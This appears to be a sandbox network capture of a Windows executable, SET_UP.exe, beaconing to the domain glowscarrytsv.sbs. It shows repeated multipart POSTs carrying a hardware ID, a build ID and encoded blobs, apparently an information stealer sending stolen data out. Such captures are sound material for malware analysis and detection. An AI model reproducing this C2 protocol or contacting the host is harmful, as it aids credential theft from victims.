2025-01-06 14:15:09 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ELVIRA&j=efdebde057a1df3f7c15b7f4da907c2d
2025-01-06 14:15:10 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:15:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uqjokaala4ibe7n6g6e1sr3r0e; expires=Fri, 02 May 2025 08:01:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=99R5E9fw6skwyPIFMI1JYqHAf7zXQaI76gGJwGfVscepsMbzGkiS29kZHE19KQjvfPxyE%2FE3cakbMXSwqhypPNkLko6dq34nwQCJp2kGArELHbRhHCWD6OHVh89i%2F6nN4I6fRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc518d0cf672b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1845&min_rtt=1841&rtt_var=698&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=981&delivery_rate=1558164&cwnd=214&unsent_bytes=0&cid=25f05bd801a1f34a&ts=497&x=0"
2025-01-06 14:15:10 UTC	242	IN	Data Raw: 33 61 38 38 0d 0a 5a 42 76 53 44 58 77 48 4d 41 31 69 74 78 4c 63 46 2b 53 4d 47 4b 69 70 79 68 61 75 71 57 44 46 4e 44 45 37 42 68 6e 67 66 67 67 66 4f 61 51 76 52 6a 4d 63 4c 78 48 53 4d 4f 5a 78 68 65 42 72 7a 59 58 6f 64 38 71 4c 57 71 4e 56 58 55 68 6a 4e 63 49 49 5a 55 59 68 74 47 77 51 64 46 55 68 51 4e 4a 71 2f 69 32 2f 39 7a 72 4e 78 2b 67 73 6a 4d 77 4b 70 31 56 64 57 57 64 79 6a 77 35 6b 42 33 4f 2b 61 68 52 69 55 32 6b 44 32 33 2b 35 63 6f 48 74 63 73 62 41 70 33 37 44 69 30 7a 6e 55 55 73 5a 50 44 75 74 47 33 77 46 56 72 4e 2b 46 79 56 4e 49 52 6d 56 64 37 49 31 33 71 35 35 7a 63 75 6d 63 4d 72 43 43 4b 31 63 56 56 68 69 63 35 41 58 62 67 78 7a 73 47 6b 56 61 46 70 39 44 74 46 34 73 6e 53 4c 37 54 71 45 Data Ascii: 3a88ZBvSDXwHMA1itxLcF+SMGKipyhauqWDFNDE7BhngfggfOaQvRjMcLxHSMOZxheBrzYXod8qLWqNVXUhjNcIIZUYhtGwQdFUhQNJq/i2/9zrNx+gsjMwKp1VdWWdyjw5kB3O+ahRiU2kD23+5coHtcsbAp37Di0znUUsZPDutG3wFVrN+FyVNIRmVd7I13q55zcumcMrCCK1cVVhic5AXbgxzsGkVaFp9DtF4snSL7TqE
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 69 36 39 73 6a 4a 4e 43 39 47 52 51 53 48 56 75 6a 77 78 73 52 6d 62 2b 64 6c 35 69 58 69 39 59 6c 58 69 79 65 34 50 74 64 63 33 4b 71 47 62 44 79 77 47 76 58 6c 64 54 61 33 53 4e 45 6d 41 42 63 62 6c 6f 45 57 4a 61 61 51 2f 57 4d 50 41 31 67 66 59 36 6b 6f 75 49 5a 4d 2f 49 46 71 70 48 45 30 59 71 59 73 49 62 5a 6b 59 68 38 47 6b 51 5a 46 39 76 45 74 31 37 74 58 43 55 35 58 50 48 78 71 68 35 78 73 51 42 70 31 46 5a 55 32 74 78 68 68 46 6e 41 48 6d 77 4c 31 41 6c 56 58 64 41 6a 54 43 64 63 4a 62 70 64 74 79 4a 6b 6a 54 54 68 52 76 6e 55 56 38 5a 50 44 75 4b 47 57 6b 46 63 72 39 73 46 6d 35 41 62 78 4c 54 66 62 74 6e 67 4f 74 30 77 4d 69 36 66 73 4c 4e 41 61 35 64 57 6c 78 6a 66 38 4a 53 4b 67 46 68 38 44 64 65 52 46 39 6b 44 4e 39 6e 76 6a 57 5a 6f 47 4f Data Ascii: i69sjJNC9GRQSHVujwxsRmb+dl5iXi9YlXiye4Ptdc3KqGbDywGvXldTa3SNEmABcbloEWJaaQ/WMPA1gfY6kouIZM/IFqpHE0YqYsIbZkYh8GkQZF9vEt17tXCU5XPHxqh5xsQBp1FZU2txhhFnAHmwL1AlVXdAjTCdcJbpdtyJkjTThRvnUV8ZPDuKGWkFcr9sFm5AbxLTfbtngOt0wMi6fsLNAa5dWlxjf8JSKgFh8DdeRF9kDN9nvjWZoGO
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 4d 62 4e 44 61 70 61 45 78 63 6b 66 4a 70 63 4d 6b 5a 54 73 33 73 64 62 78 42 61 41 39 74 2b 75 57 50 47 38 54 54 54 69 36 39 34 6a 4a 4e 43 71 6c 64 62 58 33 5a 30 6a 78 39 6b 43 48 61 31 59 42 5a 6c 55 6d 49 46 30 58 75 31 64 6f 76 71 61 4d 44 4c 6f 48 48 4e 77 51 6a 6e 47 42 4e 65 66 44 76 61 58 46 73 52 63 76 4a 61 48 57 74 63 61 42 61 56 62 2f 42 73 78 75 6c 32 69 70 50 6f 65 63 54 4f 42 36 68 58 57 56 64 68 63 59 34 55 5a 41 56 72 76 32 73 65 61 56 70 6c 44 64 74 30 74 6e 79 4e 35 58 7a 4b 79 71 49 30 67 6f 73 46 76 78 59 4c 47 56 42 38 6a 68 46 6c 52 45 79 7a 59 52 42 69 52 43 38 66 6d 32 6e 2b 63 6f 71 75 49 6f 72 48 6f 58 54 48 77 51 61 6e 55 56 35 63 5a 33 79 42 45 57 30 4d 64 37 64 72 45 6d 78 66 61 51 44 53 64 4c 74 6e 67 2b 64 32 78 6f 76 6d Data Ascii: MbNDapaExckfJpcMkZTs3sdbxBaA9t+uWPG8TTTi694jJNCqldbX3Z0jx9kCHa1YBZlUmIF0Xu1dovqaMDLoHHNwQjnGBNefDvaXFsRcvJaHWtcaBaVb/Bsxul2ipPoecTOB6hXWVdhcY4UZAVrv2seaVplDdt0tnyN5XzKyqI0gosFvxYLGVB8jhFlREyzYRBiRC8fm2n+coquIorHoXTHwQanUV5cZ3yBEW0Md7drEmxfaQDSdLtng+d2xovm
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 33 70 54 78 4e 65 61 44 76 61 58 47 4d 50 61 37 35 68 46 32 68 55 5a 77 66 62 66 62 56 7a 6a 65 6c 39 7a 4d 61 67 65 63 6e 49 41 36 4e 63 51 56 70 76 63 59 38 57 4b 6b 67 35 74 33 64 65 50 52 4a 49 44 50 78 67 70 57 65 51 72 6d 57 45 30 75 68 7a 77 49 74 61 35 31 56 63 55 47 74 7a 69 68 4e 6c 41 6e 65 32 61 52 4e 67 58 57 55 53 33 58 36 7a 66 6f 6e 6c 61 4d 72 47 72 48 6a 49 77 77 6d 74 46 68 30 5a 59 32 50 43 52 43 6f 7a 64 4c 39 76 48 58 4d 53 63 45 37 4d 4d 4c 6c 35 78 72 59 36 78 73 57 6f 65 38 44 48 43 61 39 58 58 31 64 6a 66 6f 73 55 59 68 52 34 74 47 63 66 61 31 31 75 42 4e 42 31 75 6e 4b 43 36 48 57 4b 68 65 68 7a 31 49 74 61 35 33 6c 30 62 43 5a 61 75 46 78 31 53 47 44 77 61 42 49 6c 43 69 38 4d 31 6e 79 32 65 6f 44 6e 64 73 44 43 6f 33 6a 48 7a Data Ascii: 3pTxNeaDvaXGMPa75hF2hUZwfbfbVzjel9zMagecnIA6NcQVpvcY8WKkg5t3dePRJIDPxgpWeQrmWE0uhzwIta51VcUGtzihNlAne2aRNgXWUS3X6zfonlaMrGrHjIwwmtFh0ZY2PCRCozdL9vHXMScE7MMLl5xrY6xsWoe8DHCa9XX1djfosUYhR4tGcfa11uBNB1unKC6HWKhehz1Ita53l0bCZauFx1SGDwaBIlCi8M1ny2eoDndsDCo3jHz
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 57 56 6d 56 36 68 41 35 74 44 32 75 2b 59 68 46 74 57 6d 59 42 30 58 57 7a 63 34 72 6b 65 38 33 46 70 6e 79 4d 68 55 4b 67 54 68 4d 42 4a 46 71 53 42 33 67 51 64 4a 46 69 45 53 56 4e 49 52 6d 56 64 37 49 31 33 71 35 7a 32 4d 2b 6c 5a 73 58 4d 44 4b 68 56 51 56 68 70 63 4a 41 62 5a 51 4a 2b 76 47 6b 52 59 31 4e 71 43 74 6c 33 75 33 36 4a 34 6a 71 45 69 36 39 73 6a 4a 4e 43 69 56 31 41 54 6d 64 31 69 51 70 78 52 6d 62 2b 64 6c 35 69 58 69 39 59 6c 58 4f 31 66 6f 4c 75 64 73 72 50 70 58 54 65 78 41 57 67 58 31 68 4c 62 6e 79 46 46 32 49 4e 64 72 5a 39 45 6d 74 41 61 68 4c 48 4d 50 41 31 67 66 59 36 6b 6f 75 65 63 39 7a 62 41 65 56 6e 52 56 70 79 63 49 38 51 4b 68 6b 33 71 53 38 5a 61 52 49 33 51 4e 4e 2f 74 33 61 4a 37 33 50 47 78 71 31 39 79 63 6f 45 6f 31 Data Ascii: WVmV6hA5tD2u+YhFtWmYB0XWzc4rke83FpnyMhUKgThMBJFqSB3gQdJFiESVNIRmVd7I13q5z2M+lZsXMDKhVQVhpcJAbZQJ+vGkRY1NqCtl3u36J4jqEi69sjJNCiV1ATmd1iQpxRmb+dl5iXi9YlXO1foLudsrPpXTexAWgX1hLbnyFF2INdrZ9EmtAahLHMPA1gfY6kouec9zbAeVnRVpycI8QKhk3qS8ZaRI3QNN/t3aJ73PGxq19ycoEo1
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 59 4d 49 44 4a 42 38 35 74 32 4e 65 50 52 4a 73 42 39 5a 78 74 48 79 4b 34 58 33 4f 32 61 4a 7a 33 73 6f 44 72 46 74 66 57 57 6c 32 69 42 31 6a 43 33 57 39 61 42 6c 71 56 79 39 4f 6c 58 65 6d 4e 64 36 75 57 38 66 41 70 43 2b 57 69 78 33 70 54 78 4e 65 61 44 76 61 58 47 6f 4d 66 4c 70 69 48 57 70 52 66 51 48 54 59 72 35 34 6a 50 78 77 77 63 36 6c 65 63 48 49 42 4b 46 64 58 30 74 74 65 34 45 58 4b 6b 67 35 74 33 64 65 50 52 4a 4d 46 38 4e 36 75 58 6d 51 35 58 76 4a 33 61 56 6b 6a 49 56 43 74 6c 46 43 47 54 78 74 6b 67 74 74 47 54 65 70 4c 78 6c 70 45 6a 64 41 30 33 6d 34 63 6f 44 67 61 4d 2f 4e 70 33 76 46 77 67 61 76 56 56 4e 64 59 48 79 48 48 32 59 4e 66 72 4e 67 47 6d 78 63 5a 67 2b 56 50 76 35 79 6e 71 34 69 69 75 71 7a 64 38 44 47 51 72 67 59 53 68 6c Data Ascii: YMIDJB85t2NePRJsB9ZxtHyK4X3O2aJz3soDrFtfWWl2iB1jC3W9aBlqVy9OlXemNd6uW8fApC+Wix3pTxNeaDvaXGoMfLpiHWpRfQHTYr54jPxwwc6lecHIBKFdX0tte4EXKkg5t3dePRJMF8N6uXmQ5XvJ3aVkjIVCtlFCGTxtkgttGTepLxlpEjdA03m4coDgaM/Np3vFwgavVVNdYHyHH2YNfrNgGmxcZg+VPv5ynq4iiuqzd8DGQrgYShl
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 33 4a 47 49 66 42 50 46 58 4e 58 61 42 61 58 52 62 31 37 69 4f 6c 73 69 74 53 58 4f 6f 7a 4b 51 76 39 76 53 68 6c 79 4f 39 70 4f 4a 45 5a 72 38 44 64 65 49 6c 46 39 45 74 4e 7a 71 48 62 42 30 45 54 74 33 61 4a 7a 33 4d 77 56 71 42 59 64 47 57 73 37 32 69 55 71 44 33 36 72 66 67 68 6f 51 6d 68 41 36 6a 37 2b 62 63 61 32 4f 76 2f 49 70 6e 72 4c 33 52 50 71 63 55 56 54 59 32 75 46 43 32 56 47 4e 2f 42 70 58 6a 30 42 49 55 44 52 59 66 34 74 31 72 77 68 6e 35 6a 2f 4a 4a 37 55 54 4c 34 57 52 52 6b 38 4b 63 78 63 65 45 59 68 38 43 67 64 64 30 42 70 41 38 4e 7a 2b 55 75 34 79 57 44 48 7a 62 39 6c 38 76 55 46 76 56 74 56 54 6e 55 33 6c 78 39 6b 43 48 36 6d 4c 31 41 6c 58 53 39 59 37 44 44 32 4e 62 6d 67 4f 74 4b 4c 38 44 54 35 79 41 79 70 55 55 56 49 4b 56 79 59 Data Ascii: 3JGIfBPFXNXaBaXRb17iOlsitSXOozKQv9vShlyO9pOJEZr8DdeIlF9EtNzqHbB0ETt3aJz3MwVqBYdGWs72iUqD36rfghoQmhA6j7+bca2Ov/IpnrL3RPqcUVTY2uFC2VGN/BpXj0BIUDRYf4t1rwhn5j/JJ7UTL4WRRk8KcxceEYh8Cgdd0BpA8Nz+Uu4yWDHzb9l8vUFvVtVTnU3lx9kCH6mL1AlXS9Y7DD2NbmgOtKL8DT5yAypUUVIKVyY
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 6d 69 4c 30 59 6c 46 57 77 53 78 33 61 39 59 34 57 70 52 50 54 73 70 6e 50 4e 33 52 4b 77 57 57 31 6e 63 58 69 4d 45 6d 30 51 61 50 41 68 58 6d 6f 53 4e 7a 6d 56 4f 50 35 4b 79 4b 35 69 69 70 50 6f 51 63 2f 46 44 4b 42 41 51 68 52 44 64 59 55 64 66 42 5a 75 76 79 39 51 4a 56 51 76 57 49 63 2b 2f 6e 47 58 72 69 4b 61 6d 66 4d 68 6e 35 78 53 39 55 6b 64 51 43 52 74 77 6b 51 34 53 44 6d 69 4c 30 59 6c 46 57 77 53 78 33 61 39 59 34 57 70 52 50 54 73 70 6e 50 4e 33 52 4b 77 57 52 78 33 55 6c 71 38 49 6e 38 46 64 37 35 6f 43 48 51 53 49 55 44 61 4d 4f 5a 4d 78 71 59 36 39 59 58 6f 62 49 79 54 51 70 4a 56 58 56 64 6a 62 5a 4e 52 54 51 68 2b 73 58 6b 4f 63 6c 30 67 4c 75 4e 52 2f 6a 76 47 36 44 71 53 6d 65 59 30 79 4e 70 43 2f 77 59 42 41 6a 45 6f 31 55 77 34 47 Data Ascii: miL0YlFWwSx3a9Y4WpRPTspnPN3RKwWW1ncXiMEm0QaPAhXmoSNzmVOP5KyK5iipPoQc/FDKBAQhRDdYUdfBZuvy9QJVQvWIc+/nGXriKamfMhn5xS9UkdQCRtwkQ4SDmiL0YlFWwSx3a9Y4WpRPTspnPN3RKwWRx3Ulq8In8Fd75oCHQSIUDaMOZMxqY69YXobIyTQpJVXVdjbZNRTQh+sXkOcl0gLuNR/jvG6DqSmeY0yNpC/wYBAjEo1Uw4G
2025-01-06 14:15:10 UTC	1369	IN	Data Raw: 47 4a 51 6f 76 4c 63 64 33 72 6e 62 47 6f 44 72 47 69 2f 41 30 77 64 6b 46 74 31 55 66 58 6e 35 38 77 67 4d 6b 48 7a 6d 6d 4c 30 59 32 48 43 38 53 6c 53 6a 2b 4d 6f 6a 6a 65 38 6e 46 71 32 62 65 7a 51 47 78 56 52 52 6e 57 6c 61 51 47 33 6f 46 4f 34 46 69 47 6e 4e 48 62 42 44 53 54 6f 42 59 6c 4f 6c 71 79 59 6d 45 63 38 48 48 50 4a 6c 68 51 6c 35 30 4f 61 51 66 66 41 55 35 2f 69 38 47 4a 51 6f 76 4c 63 64 33 72 6e 62 45 77 6e 33 48 78 2b 68 72 67 74 4a 43 73 52 59 4c 43 69 6f 37 6b 46 77 79 52 6a 36 7a 66 51 78 6a 55 58 6b 44 6b 6b 36 41 57 4a 54 70 61 73 6d 4a 6d 58 6e 49 33 52 65 6b 52 6c 52 6e 57 6c 61 51 47 33 6f 46 4f 35 56 56 58 46 52 45 62 41 44 62 64 2f 34 37 78 76 59 36 6b 6f 75 46 5a 73 76 62 41 65 56 7a 61 52 74 56 62 59 45 63 5a 41 45 35 2f 69 Data Ascii: GJQovLcd3rnbGoDrGi/A0wdkFt1UfXn58wgMkHzmmL0Y2HC8SlSj+Mojje8nFq2bezQGxVRRnWlaQG3oFO4FiGnNHbBDSToBYlOlqyYmEc8HHPJlhQl50OaQffAU5/i8GJQovLcd3rnbEwn3Hx+hrgtJCsRYLCio7kFwyRj6zfQxjUXkDkk6AWJTpasmJmXnI3RekRlRnWlaQG3oFO5VVXFREbADbd/47xvY6kouFZsvbAeVzaRtVbYEcZAE5/i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49750	188.114.97.3	443	7620	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:15:10 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TT526WWK16ZIQG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18140 Host: glowscarrytsv.sbs
2025-01-06 14:15:10 UTC	15331	OUT	Data Raw: 2d 2d 54 54 35 32 36 57 57 4b 31 36 5a 49 51 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 32 44 44 39 43 33 34 35 42 39 35 45 45 36 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 54 54 35 32 36 57 57 4b 31 36 5a 49 51 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 54 35 32 36 57 57 4b 31 36 5a 49 51 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 54 54 35 32 36 57 57 Data Ascii: --TT526WWK16ZIQGContent-Disposition: form-data; name="hwid"322DD9C345B95EE669AE778FE2799D69--TT526WWK16ZIQGContent-Disposition: form-data; name="pid"2--TT526WWK16ZIQGContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--TT526WW
2025-01-06 14:15:10 UTC	2809	OUT	Data Raw: 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 Data Ascii: ~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2025-01-06 14:15:11 UTC	1140	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:15:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e8finlbbev79aad137emu1jgfe; expires=Fri, 02 May 2025 08:01:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2BrWP%2Bbuf9wo25xaye0a%2Fw%2FUAj2QJB5zdGsnyBZzoTz1Gb1sm1%2B42zuB5xwkKxIvPvlQkeBxf2%2B3S6uLtCBWHWyWgjb3G90jimRrNEisqhrEeiMTiykNl7oxFpg%2BVIKRVRctRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc5193da0a4352-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1598&rtt_var=608&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19099&delivery_rate=1785932&cwnd=239&unsent_bytes=0&cid=97f72cebabc49236&ts=981&x=0"
2025-01-06 14:15:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:15:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49751	188.114.97.3	443	7620	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:15:12 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8KZNW321KQR41UQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8767 Host: glowscarrytsv.sbs
2025-01-06 14:15:12 UTC	8767	OUT	Data Raw: 2d 2d 38 4b 5a 4e 57 33 32 31 4b 51 52 34 31 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 32 44 44 39 43 33 34 35 42 39 35 45 45 36 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 38 4b 5a 4e 57 33 32 31 4b 51 52 34 31 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 4b 5a 4e 57 33 32 31 4b 51 52 34 31 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 38 4b 5a 4e Data Ascii: --8KZNW321KQR41UQContent-Disposition: form-data; name="hwid"322DD9C345B95EE669AE778FE2799D69--8KZNW321KQR41UQContent-Disposition: form-data; name="pid"2--8KZNW321KQR41UQContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--8KZN
2025-01-06 14:15:12 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:15:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3qi7rr4bg3ddg24s7gn17e6itn; expires=Fri, 02 May 2025 08:01:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FVsGiWPzaxZFLh9a2OWC1bADPT2bl7I5fI0O7nB6C%2Bvbnj42x5W7qyAtfOc%2FI2jue0W4DfOBgRzScjxFd8vYprVFQ943Z%2F3oqPJ%2BcOErNXrWTzUb83DSD4VfUZcBysnMRLStgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc519d3cf34210-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1766&min_rtt=1764&rtt_var=665&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2842&recv_bytes=9704&delivery_rate=1639528&cwnd=246&unsent_bytes=0&cid=be842c9c4cb7ba94&ts=506&x=0"
2025-01-06 14:15:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:15:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	188.114.97.3	443	7620	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:15:13 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LH89NZCPPT358FSVRS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20438 Host: glowscarrytsv.sbs
2025-01-06 14:15:13 UTC	15331	OUT	Data Raw: 2d 2d 4c 48 38 39 4e 5a 43 50 50 54 33 35 38 46 53 56 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 32 44 44 39 43 33 34 35 42 39 35 45 45 36 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 4c 48 38 39 4e 5a 43 50 50 54 33 35 38 46 53 56 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 48 38 39 4e 5a 43 50 50 54 33 35 38 46 53 56 52 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 Data Ascii: --LH89NZCPPT358FSVRSContent-Disposition: form-data; name="hwid"322DD9C345B95EE669AE778FE2799D69--LH89NZCPPT358FSVRSContent-Disposition: form-data; name="pid"3--LH89NZCPPT358FSVRSContent-Disposition: form-data; name="lid"hRjzG3--ELVIR
2025-01-06 14:15:13 UTC	5107	OUT	Data Raw: 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 Data Ascii: `M?lrQMn 64F6(X&7~`aO
